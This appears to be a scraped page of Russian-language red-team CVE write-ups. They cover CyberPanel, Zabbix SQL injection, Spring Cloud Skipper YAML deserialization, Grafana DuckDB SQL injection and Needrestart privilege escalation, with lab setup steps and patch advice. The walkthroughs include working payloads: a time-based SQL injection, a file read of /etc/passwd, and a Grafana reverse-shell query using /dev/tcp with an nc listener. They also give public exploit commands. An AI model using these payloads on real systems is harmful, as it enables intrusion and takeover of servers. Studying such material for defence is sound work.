CyberPanel — это популярная бесплатная (с премиум-версией) панель управления сервером с открытым исходным кодом, разработанная для управления веб-хостингом и серверными ресурсами.

Она позволяет администраторам удобно управлять сайтами, доменами, базами данных, почтовыми сервисами и другими функциями через графический веб-интерфейс.

CyberPanel особенно востребована среди небольших хостинговых компаний, разработчиков и владельцев сайтов, благодаря своей простоте использования и поддержке современных технологий.

Подготовка стендового окружения

Для эксплуатирования уязвимости будет использоваться VPS, на которой используется CyberPanel уязвимой версии.

Для установки необходимо выполнить следующие команды:

Обновить кэш пакетного менеджера:

apt-get update

Установить утилиту wget и скачать установочный скрипт:

apt install wget
cd /opt
wget -O installer.sh <https://cyberpanel.net/install.sh>

Запустить скрипт:

chmod +x installer.sh
sh installer.sh

Далее идет конфигурирование панели перед установкой.

По окончании процедуры установки будет такой вывод:

Когда операционная система сервера загрузится, откройте в браузере вебстраницу https://<IP_вашего_сервера>:8090.

Разбор уязвимости

RCE (Remote Code Execution) — это тип уязвимости в программном обеспечении, позволяющий злоумышленнику удалённо выполнять произвольный код на сервере или устройстве, уязвимом к данной атаке. RCE считается одной из наиболее опасных уязвимостей, так как она предоставляет атакующему практически полный контроль над целевой системой.

Для демонстрации эксплуатации воспользуемся публичным эксплойтом:

git clone https://github.com/refr4g/CVE-2024-51378.git

Запустим скрипт:

cd CVE-2024-51378
python3 CVE-2024-51378.py http://target.com:8090 /ftp/getresetstatus

Получаем root-флаг:

Заключение

Для предотвращения атак настоятельно рекомендуется срочно установить патч, ограничить доступ к панели управления и провести аудит системы на предмет возможного компрометации. Эта уязвимость подчеркивает важность регулярного обновления ПО и применения средств мониторинга.

Remote Code Execution через SQL инъекцию в Zabbix (CVE-2024-42327)

2024-12-11T11:23:10.576Z

Введение

Zabbix — это система мониторинга, предназначенная для отслеживания состояния ИТ-инфраструктуры, серверов, сетевых устройств, приложений и сервисов в реальном времени.

Для чего нужен:

Мониторинг ресурсов: CPU, память, диски, сетевые интерфейсы.
Слежение за доступностью: Проверка работы сайтов, приложений, баз данных.
Уведомления: Настройка алертов (e-mail, Telegram, SMS) при сбоях или достижении критических значений.
Сбор метрик: Анализ производительности и прогнозирование проблем.
Автоматизация задач: Выполнение удалённых команд на серверах.

Zabbix полезен для обеспечения стабильной работы инфраструктуры и быстрого реагирования на проблемы.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Об уязвимости

7 ноября 2024 года была выявлена критическая уязвимость в Zabbix с CVSS-оценкой 9.9, представляющая собой SQL-инъекцию в одном из эндпоинтов API Zabbix. Уязвимость позволяет атакующему, имеющему доступ к API, выполнить произвольные SQL-запросы. При определённых настройках Zabbix, которые разрешают удалённое выполнение команд через агентов, эта уязвимость может быть использована для полной компрометации инфраструктуры, находящейся под мониторингом Zabbix.

Уязвимости подвержены следующие версии Zabbix Frontend:

6.0.0 - 6.0.31 / 6.0.32rc1
6.4.0 - 6.4.16 / 6.4.17rc1
7.0.0 / 7.0.1rc1

SQL-инъекция — это тип уязвимости в приложениях, при которой злоумышленник может вставить вредоносные SQL-запросы в строку запроса к базе данных. Это может позволить ему получить несанкционированный доступ к данным, изменить их, удалить или выполнить другие вредоносные операции, такие как обход аутентификации или управление системой. SQL-инъекции часто возникают из-за недостаточной валидации входных данных.

Подготовка тестового окружения

Для развертывания стенда будет использована виртуальная машина с операционной системой Debian, на которой Zabbix версии 6.0.30 будет развернут в Docker контейнере. Установка будет производиться с использованием следующих команд:

sudo apt install docker.io docker-compose # установка Docker и docker-compose
nano docker-compose.yaml

После выполнения этих команд откроется текстовый редактор с файлом docker-compose.yaml, в который необходимо внести следующее содержимое:

version: '3.5'

services:
  zabbix-db:
    image: mysql:8.0-oracle
    container_name: zabbix-db
    environment:
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
      MYSQL_ROOT_PASSWORD: root_password
    volumes:
      - zabbix-db-data:/var/lib/mysql
    restart: unless-stopped

  zabbix-server:
    image: zabbix/zabbix-server-mysql:ubuntu-6.0.30
    container_name: zabbix-server
    environment:
      DB_SERVER_HOST: zabbix-db
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
    depends_on:
      - zabbix-db
    ports:
      - "10051:10051"
    restart: unless-stopped

  zabbix-web:
    image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.30
    container_name: zabbix-web
    environment:
      DB_SERVER_HOST: zabbix-db
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
      PHP_TZ: Europe/Moscow
    depends_on:
      - zabbix-server
    ports:
      - "8080:8080"
    restart: unless-stopped

  zabbix-agent:
    image: zabbix/zabbix-agent:ubuntu-6.0.30
    container_name: zabbix-agent
    environment:
      ZBX_SERVER_HOST: zabbix-server
    depends_on:
      - zabbix-server
    restart: unless-stopped

volumes:
  zabbix-db-data:

Теперь для запуска Zabbix достаточно выполнить команду из каталога, содержащего файл docker-compose.yaml:

sudo docker-compose up -d

Веб-интерфейс Zabbix стал доступен по адресу: http://127.0.0.1:8080:

Также обратите внимание, что Zabbix можно установить с помощью официальных Docker контейнеров. Они доступны для скачивания на GitHub.

Подготовка условий для эксплуатации уязвимости

Для эксплуатации уязвимости необходим пользовательский аккаунт с доступом к API. Для демонстрации создадим аккаунт с минимальными правами, но доступом к API. Создать пользователя можно в разделе Administration -> Users:

Стандартные админские учётные данные Zabbix:Логин: AdminПароль: zabbix

Создадим учетную запись giscyber и назначим специальную роль для этой учетной записи в разделе Administration -> User roles. Роль будет настроена с минимальными привилегиями и доступом к API:

Для получения токена сессии отправьте POST запрос с логином и паролем пользователя к API Zabbix:

Получив сессионный ключ, можно приступить к эксплуатации уязвимости.

Эксплуатация уявзимости

Эндпоинт users.get, доступный любому пользователю Zabbix с доступом к API, уязвим к Time-based Blind SQL injection. Для проверки уязвимости можно отправить следующий запрос на /api_jsonrpc.php:

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": [
      "roleid",
      "name",
      "type",
      "readonly AND (SELECT(SLEEP(5)))"
    ],
    "userids": [
      "1",
      "2"
    ]
  },
  "id": 1,
  "auth": "**ЗДЕСЬ ИСПОЛЬЗУЕТСЯ ПОЛУЧЕННЫЙ РАНЕЕ СЕССИОННЫЙ КЛЮЧ**"
}

SQL инъекция — это атака, при которой злоумышленник вводит вредоносный SQL код в приложение для доступа или изменения данных в базе данных.

Time-based SQL инъекция — это тип атаки, при котором злоумышленник использует функцию паузы в SQL запросе, чтобы проверить наличие определенных условий путем измерения времени ответа сервера.

Как видно, в данном запросе используется встроенная в MySQL функция SLEEP(), которая вызывает паузу на заданное внутри скобок количество секунд. Отправив запрос, можно убедиться, что ответ сервера занимает ровно 5 секунд, что подтверждает уязвимость к Time-based blind SQL injection:

Для демонстрации возможной пользы уязвимости воспользуемся следующей нагрузкой, чтобы извлечь название базы данных, с которой работает Zabbix.

AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_')

Для начала необходимо выяснить сколько символов в названии базы данных, для этого добавляем символ _ в нагрузку пока приложение не ответит с задержкой >= 5 секундам. Для тестовой конфигурации нагрузка отработала при 6 символах _, значит имя базы данных содержит ровно 6 символов:

Выделим 1 символ _ и отправим его в Intruder Burp Suite, затем выберем режим Brute forcerдля перебора первого символа имени базы данных:

Сортируем по времени ответы сервера и узнаём, что первая буква в имени базы данных - z:

Проделав такие манипуляции для всех символов, выясняем что имя БД - "zabbix":

Вывод

С помощью Time-based SQL-инъекции злоумышленник может получить доступ к более привилегированным учетным записям Zabbix, что создает угрозу компрометации всей инфраструктуры, находящейся под наблюдением агентов Zabbix.

Это делает уязвимость особенно серьезной, что подтверждается высоким рейтингом CVSS.

В связи с этим крайне рекомендуется устанавливать самые последние версии программного обеспечения, в которых выпущены соответствующие патчи для устранения данной уязвимости.

CVE-2024-37084: удаленное выполнение кода в Spring Cloud

2024-12-09T13:23:15.846Z

Введение

Spring Cloud Skipper — это инструмент, который позволяет находить приложения Spring Boot и управлять их жизненным циклом на нескольких облачных платформах.

Вы можете использовать Skipper отдельно или интегрировать его с конвейерами непрерывной интеграции для обеспечения непрерывного развёртывания приложений.

Skipper возник из-за необходимости выполнять «потоковые изменения» в Spring Cloud Data Flow. Позже было признано, что для обеспечения этой функции следует создать проект более общего назначения Skipper, чтобы он также мог быть полезным набором инструментов вне контекста Spring Cloud Data Flow.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Описание уязвимости

CVE-2024-37084 — это уязвимость в Spring Cloud Skipper, которая позволяет получить доступ к исходным данным YAML.

Чтобы преобразовать объект в формат Yaml (стандартный Yaml-конструктор), выполните обратную последовательность (десериализацию) для этого объекта.

Десериализация (deserialization) - это процесс создания структуры данных из битовой последовательности путем перевода этой последовательности в объекты и их упорядочивания (структуризации).

RCE (Remote Code Execution) - это тип уязвимости в веб-приложениях, позволяющий злоумышленникам выполнять произвольный код на удаленном сервере. Это одна из самых опасных уязвимостей, так как она дает полный контроль над системой.

Подготовка стенда

Скачиваем версию 2.11.0 Spring Cloud Data Flow.

https://github.com/spring-cloud/spring-cloud-dataflow/releases

В spring-cloud-dataflow-2.11.0/src/docker-compose/docker-compose.yml

Добавляем следующие строчки для отладки:

В раздел environment:

JAVA_TOOL_OPTIONS=agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address =*:5005

в раздел ports:

- "5005:5005"

Собираем докер:

sudo docker compose up --build

После установки можно просмотреть панель управления и API Skipper Server:

Разбор уязвимости

Анализ исходного кода

Находим функцию загрузки по пути:

spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java

Функция:

Описание функции upload():

Подвердить запрос на загрузку

Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());

Эта функция проверяет данные запроса на загрузку, чтобы убедиться, что они действительны, прежде чем продолжить.

Получение репозитория для загрузки

Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());

Указание репозитория, в который будет загружен пакет, на основе имени репозитория, указанного в запросе.

Создание временного каталога и создание файла пакета

packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());

Создание временной директории в системе для размещения загружаемого пакета. Затем из данных пакета создаются временные файлы и сохраняются в этой директории.

Распаковка файла для загрузки

ZipUtil.unpack(packageFile.toFile(), packageDir);

После загрузки файл будет распакован, чтобы иметь возможность считывать и обрабатывать содержащиеся в нем данные.

Проверка, что пакет был распакован

String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");

Подтверждает, что процесс распаковки прошел успешно и распакованный файл существует.

Чтение и проверка метаданных пакета

Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName()) || !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
	throw new SkipperException(String.format("Package definition in the request [%s:%s] differs from one inside the package.yml [%s:%s]",
			uploadRequest.getName(), uploadRequest.getVersion(), packageMetadata.getName(), packageMetadata.getVersion()));
}

Проверка, что прочитанные метаданные из пакета были разархивированы, и проведено сравнение с запросом на загрузку данных.

Сохранение метаданных и связывание их с репозиторием

if (localRepositoryToUpload != null) {
	packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
	packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
}
packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
return this.packageMetadataRepository.save(packageMetadata);

Связывает метаданные пакета с репозиторием (если таковые имеются), а затем сохраняет метаданные пакета в базе данных.

Обработка исключения и удаление временного каталога

finally {
	if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
		logger.warn("Temporary directory can not be deleted: " + packageDirPath);
	}
}

Ранее созданные временные директории будут удалены после завершения процесса.

Если удалить не удается, записываются предупреждения в журнал.

Описание метода read() в файле DefaultPackageReader.java

Проверка и просмотр файлов в директории

Assert.notNull(packageDirectory, "File to load package from can not be null");
try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
    files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
    throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
}

Проверяет правильность передачи по директориям. Затем использует Files.walk(), чтобы просмотреть файлы в директории, получает список файлов и сохраняет в files.
Проверяет, что директория не пуста, и обработывает исключение в случае, если не удается прочитать

Обработка каждого файла

for (File file : files) {
    if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
        pkg.setMetadata(loadPackageMetadata(file)); // note 
        continue;
    }
    if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
        fileHolders.add(loadManifestFile(file));
        continue;
    }
    if (file.getName().equalsIgnoreCase("values.yaml") || file.getName().equalsIgnoreCase("values.yml")) {
        pkg.setConfigValues(loadConfigValues(file));
        continue;
    }
    if (file.getAbsoluteFile().isDirectory() && file.getName().equals("templates")) {
        pkg.setTemplates(loadTemplates(file));
        continue;
    }
    if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
        File[] dependentPackageDirectories = file.listFiles();
        List<Package> dependencies = new ArrayList<>();
        for (File dependentPackageDirectory : dependentPackageDirectories) {
            dependencies.add(read(dependentPackageDirectory));
        }
        pkg.setDependencies(dependencies);
    }
}

Этот цикл просматривает файлы, сортируя их в соответствии с каждым типом, который должен обрабатываться.

Загрузка пакета метаданных

private PackageMetadata loadPackageMetadata(File file) {
    DumperOptions options = new DumperOptions();
    Representer representer = new Representer(options);
    representer.getPropertyUtils().setSkipMissingProperties(true);
    LoaderOptions loaderOptions = new LoaderOptions();
    Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
    String fileContents = null;
    try {
        fileContents = FileUtils.readFileToString(file);
    }
    catch (IOException e) {
        throw new SkipperException("Error reading yaml file", e);
    }
    PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
    return pkgMetadata;
}

Эта функция использует библиотеку SnakeYaml для чтения файла YAML и преобразует его в objectPackageMetadata.

Она использует конструктор для отображения свойств файла YAML в object Java.

Загрузка шаблона файла

private List<Template> loadTemplates(File templatePath) {
    try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
        files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
    }
    catch (IOException e) {
        throw new SkipperException("Could not process files in template path " + templatePath, e);
    }

    List<Template> templates = new ArrayList<>();
    for (File file : files) {
        if (isYamlFile(file)) {
            Template template = new Template();
            template.setName(file.getName());
            try {
                template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
            }
            catch (IOException e) {
                throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e);
            }
            templates.add(template);
        }
    }
    return templates;
}

Эта функция переходит в папку "шаблоны", считывает каждый файл YAML и преобразует в object Template.

Она загружает содержимое файла и сохраняет в шаблоне для последующего использования.

Загрузка значений конфигурации

private ConfigValues loadConfigValues(File file) {
    ConfigValues configValues = new ConfigValues();
    try {
        configValues.setRaw(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
    }
    catch (IOException e) {
        throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
    }
    return configValues;
}

Считывает значения файла.yaml или values.yml и сохраняет его содержимое в объекте ConfigValues.

Загрузка packageMetadata

private PackageMetadata loadPackageMetadata(File file) {
		// The Representer will not try to set the value in the YAML on the
		// Java object if it isn't present on the object
		DumperOptions options = new DumperOptions();
		Representer representer = new Representer(options);
		representer.getPropertyUtils().setSkipMissingProperties(true);
		LoaderOptions loaderOptions = new LoaderOptions();
		Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
		String fileContents = null;
		try {
			fileContents = FileUtils.readFileToString(file);
		}
		catch (IOException e) {
			throw new SkipperException("Error reading yaml file", e);
		}
		PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
		return pkgMetadata;
	}
	PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);

Содержимое строки YAML (FileContents) преобразуется в объект PackageMetadata с помощью yaml.load(FileContents) из библиотеки SnakeYaml.

Десериализация: Когда SnakeYaml встречает тег !!javax.script.ScriptEngineManager создает объект класса Java.

Это может привести к выполнению кода Java.

Реализация уязвимости

Готовое решение для генерации полезной нагрузки можно скачать из github репозитория:

https://github.com/Ly4j/CVE-2024-37084-Exp

Меняем содержимое функции Runtime.getRunrime().exec() в файле src/rtsploit/AwesomeScriptEngineFactory.java.

Поднимаем слушателя на указанный в нагрузке порт:

Запускаем generate-yaml-payload.jar.py, чтобы создать файл yaml-payload.jar командой:

python generate-yaml-payload.jar.py

Поднимаем веб-сервис с помощью Python командой:

python3 -m http.server 8080

Каждый раз, когда вы выполняете другую команду, вам нужно переименовывать файл yaml-payload.jar, то есть файл xx.jar, к которому вы обращаетесь, каждый раз под другим именем.

В противном случае новая команда не будет действовать.

Эксплуатируем:

cve-2024-37084-exp.py -u http://localhost:7577 -payload http://ip-address:port/yaml-payload.jar

Заключение

В версиях Spring Cloud Data Flow до 2.11.4 злоумышленник, имеющий доступ к API-интерфейсу сервера Skipper, может использовать специально созданный запрос на загрузку для записи произвольного файла в любое место в файловой системе, что может привести к выполнению произвольного кода на стороне сервера.

Чтобы исправить уязвимость CVE-2024-37084 в Spring Cloud Data Flow, рекомендуется обновить версию до 2.11.4 или выше.

Уязвимость CVE-2024-9264: Удаленное выполнение кода в Grafana через SQL-выражения

2024-12-03T10:53:53.626Z

Введение

Grafana – это популярная платформа для мониторинга и визуализации данных,
которая широко используется в IT-среде для создания интерактивных панелей
управления и графиков на основе различных источников данных. Она поддерживает интеграцию с множеством баз данных и сервисов, включая Prometheus, InfluxDB, Graphite, MySQL, PostgreSQL и другие.

Благодаря своей гибкости и удобству использования, Grafana стала стандартным инструментом для многих компаний, работающих с большими объемами данных. Grafana предоставляет мощные инструменты для анализа метрик и логов, позволяя пользователям создавать настраиваемые дашборды, отслеживать производительность приложений и инфраструктуры, а также получать уведомления о критических событиях.

DuckDB – это встроенная база данных, ориентированная на работу с аналитическими запросами и обработку больших объемов данных. Это легковесная реляционная система управления базами данных (СУБД), разработанная для встраивания в приложения и работы непосредственно в оперативной памяти. DuckDB поддерживает SQL-запросы и оптимизирован для быстрого выполнения сложных аналитических запросов.

Одной из ключевых особенностей DuckDB является её способность работать внутри других приложений, таких как Grafana, обеспечивая высокую скорость обработки данных и минимальные требования к ресурсам. Однако, как и любое программное обеспечение, они не застрахованы от уязвимостей, одна из которых будет рассмотрена далее.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Описание уязвимости

Уязвимость CVE-2024-9264 представляет собой критический баг в системе мониторинга и визуализации данных Grafana, связанный с недостаточной фильтрацией входных данных в экспериментальной функции SQL-выражений.

Данная уязвимость позволяет любым аутентифицированным пользователям выполнять произвольные SQL-запросы в базе данных DuckDB, что открывает возможности для проведения SQL-инъекций.

Злоумышленники могут использовать эту уязвимость для LFI (чтения файлов на сервера) или даже RCE (выполнения произвольного кода на сервера). Уязвимость имеет оценку в 9.4 баллов по CVSS.

SQL-инъекция — это тип уязвимости в веб-приложениях, позволяющий злоумышленникам вставлять произвольные SQL -запросы в поля ввода, что может привести к несанкционированному доступу к данным, их изменению или удалению.

LFI (Local File Inclusion) – это тип уязвимости в веб-приложениях, позволяющий злоумышленникам включать локальные файлы на сервере в ответ на запрос пользователя. Это может привести к раскрытию конфиденциальной информации, такой как пароли или исходный код приложения.

RCE (Remote Code Execution) – это тип уязвимости в веб-приложениях, позволяющий злоумышленникам выполнять произвольный код на удаленном сервере. Это одна из самых опасных уязвимостей, так как она дает полный контроль над системой.

Подготовка стендового окружения

Сначала создадим файл Dockerfile . Этот файл будет использоваться для построения Docker-образа, который включает в себя Grafana и DuckDB.

Так как CVE-2024-9264 подвержены версии Grafana OSS и Enterprise 11.0.0 — 11.0.5, 11.1.0 — 11.1.6 и 11.2.0 — 11.2.1, будем использовать grafana 11.0.0.

Для работы этой уязвимости двоичный файл DuckDB должен присутствовать в
$PATH Grafana. По умолчанию этот двоичный файл не устанавливается в дистрибутивах Grafana, поэтом при подготовки стенда мы дополним Dockerfile
установкой DuckDB: https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip

# Dockerfile
FROM grafana/grafana:11.0.0-ubuntu

USER root

# Установка DuckDB
RUN apt-get update && apt-get install -y && apt-get install unzip -
y \
   wget \
   && wget
https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cl
i-linux-amd64.zip \
   && unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
   && chmod +x /usr/local/bin/duckdb \
   && rm duckdb_cli-linux-amd64.zip
   
# Добавление DuckDB в PATH
ENV PATH="/usr/local/bin:${PATH}"

Соберем Dockerfile в новый образ:

docker build -t test-cve-grafana-duckdb .

Эта команда создаст новый Docker-образ с именем test-cve-grafana- duckdb.

Запустим созданный Docker-образ:

sudo docker run --name=grafana -p 3000:3000 test-cve-grafana-
duckdb

Создание пользователя

После запуска Docker-образа перейдем по http://localhost:3000 и авторизуемся со стандартным логином и паролем admin:admin , после чего создадим нового пользователя с минимальной ролью viewer (только на просмотр)

Разбор уязвимости

Уязвимым является запрос POST к /api/ds/query в Grafana, который предназначен для выполнения запросов к источникам данных (Data Sources) для сохранения или обновления панели управления. С помощью этого API пользователи могут отправлять запросы к различным подключенным базам данных или другим источникам данных, настроенным в Grafana, и получать результаты этих запросов.

Схема тела JSON:

queries: массив объектов, каждый из которых описывает отдельный запрос кисточнику данных.

refId: Уникальный идентификатор запроса. В данном случае "GIS", но может быть любым.
datasource: Информация об источнике данных, к которому отправляется запрос.

type: Тип источника данных. Здесь указан "GIS".
uid: Уникальный идентификатор источника данных. "__expr__", что указывает на использование экспериментальных выражений.
name: Имя источника данных. Указано как "GIS" .

type: Тип запроса. В данном случае "sql" , что указывает на SQL- запрос.
hide: Флаг, определяющий, следует ли скрывать результат запроса. Установлен в false .
expression: Само SQL-выражение, которое должно быть выполнено. В данном случае это "SELECT content FROM read_blob(\"/etc/passwd\")", что пытается прочитать содержимое файла /etc/passwd .

{
   "queries": [
      {
        "refId": "GIS",
        "datasource": {
        "type": "GIS",
        "uid": "__expr__",
        "name": "GIS"
      },
      "type": "sql",
      "hide": false,
      "expression": "SELECT content FROM read_blob(\"/etc/passwd\")", "window": ""
   }
   ],
   "from": "1729313027261",
   "to": "1729334627261"
}

Также, уязвимость CVE-2024-9264 позволяет получить обратную оболочку.

PoC:

"SELECT 1;COPY (SELECT 'sh -i >& /dev/tcp/192.168.0.111/4444 0>&1') TO '/tmp/rev'; SELECT 1;install shellfs from community; LOAD shellfs;SELECT * FROM read_csv('bash /tmp/rev |');"

У себя в терминале подняли слушатель на 4444 порту.

rlwrap nc -lvnp 4444

Отправили запрос к api и получили обратное соединение.

Этот SQL-запрос представляет собой получение обратной оболочки через базу данных:

SELECT 1; – просто возвращает значение 1 , чтобы начать выполнение.
COPY (SELECT 'sh -i >& /dev/tcp/192.168.0.111/4444 0>&1') TO '/tmp/rev';

Создает файл /tmp/rev с содержимым команды для обратного шелла, которая будет пытаться установить соединение с IP-адресом 192.168.0.111 на порту 4444.

SELECT 1; – снова возвращает 1.
install shellfs from community; LOAD shellfs;

Устанавливает и загружает расширение базы данных под названием shellfs . Это расширение позволяет выполнять системные команды непосредственно из SQL-запросов.

SELECT * FROM read_csv('bash /tmp/rev |');

Выполняет команду bash /tmp/rev , которая запускает созданный ранее скрипт для установления обратного соединения с удаленным сервером.

Заключение

Уязвимость CVE-2024-9264 возникает из-за недостаточного контроля над тем, какие SQL-запросы могут быть выполнены через экспериментальную функцию SQL-выражений в Grafana.

Экспериментальная функция позволяет пользователям вводить произвольные SQL-запросы, которые затем выполняются базой данных DuckDB.

При отсутствии должной фильтрации и экранирования вводимых данных злоумышленник может внедрить вредоносные SQL-команды, что приведет к выполнению недопустимых действий на сервере.

Linux LPE через Needrestart (CVE-2024-48990)

2024-12-02T12:29:50.499Z

Введение

19 ноября 2024 года компания Qualys публично раскрыла информацию о пяти уязвимостях в утилите Needrestart. Эти уязвимости касаются локальной эскалации привилегий(LPE) и были найдены в бинарном файле. CVE-2024-48990 затрагивает версии Needrestart до 3.8. В Ubuntu она применяется по умолчанию с версии 21.04. Также проблема актуальна для Debian, Fedora и других дистрибутивов Linux.

LPE (Local Privilege Escalation) позволяет злоумышленнику повысить свои привилегии в системе, получив доступ к действиям, доступным только администраторам (например, root-доступ). Это может использоваться для установки вредоносного ПО, управления системой, обхода ограничений безопасности и доступа к конфиденциальным данным. Основная цель — получить полный контроль над системой.

Уязвимость имеет оценку в 7.8 баллов по CVSS.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Что такое Needrestart

Needrestart — это утилита для Linux, которая проверяет, какие службы или процессы нужно перезапустить после обновления системных библиотек. Она помогает гарантировать, что обновления безопасности применяются ко всем запущенным процессам, минимизируя риски использования устаревших библиотек. Утилита особенно полезна для серверов, где важно поддерживать актуальное состояние сервисов без полного перезагрузки системы.

Разбор уязвимости

LPE (Local Privilege Escalation) — это тип атаки, при котором злоумышленник использует уязвимость или неправильную конфигурацию системы, чтобы повысить свои права с обычного пользователя до администратора (например, root-доступ в Linux). Это дает возможность выполнять критически важные команды, изменять системные настройки, получать доступ к защищенным данным и устанавливать вредоносное ПО. LPE часто используется в связке с другими методами атак для усиления их эффективности или распространения угрозы на другие устройства.

CVE-2024-48990 возникает из-за уязвимости в обработке переменных окружения утилитой Needrestart, используемой в Linux для проверки и перезапуска сервисов после обновления библиотек. Проблема связана с тем, что утилита до версии 3.8 некорректно обрабатывает переменную PYTHONPATH. Это позволяет локальному атакующему указать поддельный путь для Python-интерпретатора, что может привести к выполнению произвольного кода с привилегиями root.

Ошибка стала возможной из-за недостаточного контроля содержимого переменных окружения, используемых для настройки путей загрузки модулей интерпретаторов (Python, Perl, Ruby). Это делает утилиту уязвимой к манипуляциям со стороны локальных пользователей, которые могут подменить пути на вредоносные библиотеки или скрипты.

Чтобы проверить уязвима ли ваша система можно выполнить команду:

needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"

Для демонстрации эксплуатации воспользуемся публичным эксплойтом:

git clone https://github.com/pentestfunctions/CVE-2024-48990-PoC-Testing.git

Получив первоначальный доступ к системе от обычного пользователя запустим скрипт для прослушивания:

cd CVE-2024-48990-PoC-Testing
./runner.sh

Чтобы уязвимость отработала необходимо подождать, пока другой пользователь в системе выполнит обновление или что-то, что вызовет необходимость использования утилиты Needrestart, в нашем случае мы устанавливаем пакет ntp, что автоматически ее запускает:

sudo apt remove ntp; sudo apt install ntp

Получаем доступ к root-пользователю:

Получаем root-флаг:

Заключение

В заключение, CVE-2024-48990 демонстрирует, как эксплуатация уязвимости в системной утилите может привести к серьезным последствиям, таким как получение прав root и доступ к конфиденциальным данным.

Инцидент служит напоминанием о необходимости регулярного обновления ПО, тщательной настройки переменных окружения и использования дополнительных защитных механизмов.

GISCYBERTEAM

CVE-2026-20131: как Java-десериализация открыла путь к root на Cisco FMC

Введение

Что такое CVE-2026-20131

Где находится уязвимость

Что такое Java-десериализация и где всё ломается

Как развивается атака

Этап 1. Запрос попадает в веб-интерфейс без аутентификации

Этап 2. Сервер восстанавливает граф объектов

Этап 3. Срабатывает gadget chain

Этап 4. Код выполняется с правами root

Как уязвимость использовали в реальных атаках

Почему «FMC не смотрит в интернет» — не решение

Что делать владельцу FMC

1. Проверить именно версию FMC

2. Установить fixed software

3. Ограничить доступ к management interface

Итог

CVE-2026-50343(CWE-269: Improper Privilege Management): повышение привилегий через Windows InstallService

Введение

InstallService и plugin state

StaticPluginMap -> путь к DLL

Реализация уязвимости

Как защищаться

Заключение

Похищение данных для подключения к Wi-Fi через Captive Portal

Введение

Установка утилиты для атаки

Создание страницы Captive Portal

Запуск Evil Twin с Captive Portal

Заключение

Remote Code Execution в Widget Options (WordPress Plugin) - CVE-2024-8672

Введение

Подготовка стендового окружения

Установка WordPress

Эксплуатация уязвимости

Причины уязвимости

Заключение

Критическая уязвимость в Wordpress-плагине WP Umbrella (CVE-2024-12209)

Введение

Для чего используется плагин WP Umbrella

Подготовка стендового окружения

Установка WordPress

Разбор уязвимости

Первый вектор

Второй вектор

Рекомендации по устранению

Заключение

CyberPanel Command Injection Vulnerability (CVE-2024-51378)

Введение

Что такое CyberPanel

Подготовка стендового окружения

Разбор уязвимости

Рекомендации по устранению

Заключение

Remote Code Execution через SQL инъекцию в Zabbix (CVE-2024-42327)

Введение

Для чего нужен:

Об уязвимости

Подготовка тестового окружения

Подготовка условий для эксплуатации уязвимости

Эксплуатация уявзимости

Вывод

CVE-2024-37084: удаленное выполнение кода в Spring Cloud

Введение

